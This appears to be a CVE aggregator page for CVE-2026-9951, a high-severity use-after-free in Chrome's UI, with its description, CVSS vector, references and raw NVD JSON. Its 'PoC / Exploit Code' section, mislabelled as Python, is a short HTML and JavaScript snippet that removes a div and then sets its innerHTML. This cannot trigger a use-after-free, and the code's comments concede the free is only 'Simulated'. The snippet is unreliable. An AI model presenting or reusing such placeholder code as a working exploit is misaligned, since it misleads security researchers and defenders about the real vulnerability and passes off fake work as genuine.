CVE-2026-9951

Description

Use after free in UI in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.3

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for CVE-2026-9951: Chrome UI Use After Free -->
<html>
<body>
<script>
    // Step 1: Create a vulnerable UI object
    let vuln_object = document.createElement('div');
    document.body.appendChild(vuln_object);

    // Step 2: Trigger the free operation (Simulated)
    // Specific internal API calls would be needed to trigger actual UAF in UI
    function trigger_free() {
        document.body.removeChild(vuln_object);
        // Force garbage collection if possible
        if (window.gc) window.gc();
    }

    trigger_free();

    // Step 3: Attempt to reuse the freed memory (Use After Free)
    // This attempts to access the freed object to crash or potentially corrupt memory
    setTimeout(() => {
        try {
            vuln_object.innerHTML = "Exploit Payload";
            console.log("Object accessed, potential UAF triggered.");
        } catch (e) {
            console.log("Access violation detected.");
        }
    }, 100);
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9951
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9951
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9951/
[4] VulDB https://vuldb.com/cve/CVE-2026-9951
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/503873388

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9951", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:53.250", "lastModified": "2026-05-29T15:16:26.540", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in UI in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/503873388", "source": "[email protected]"}]}}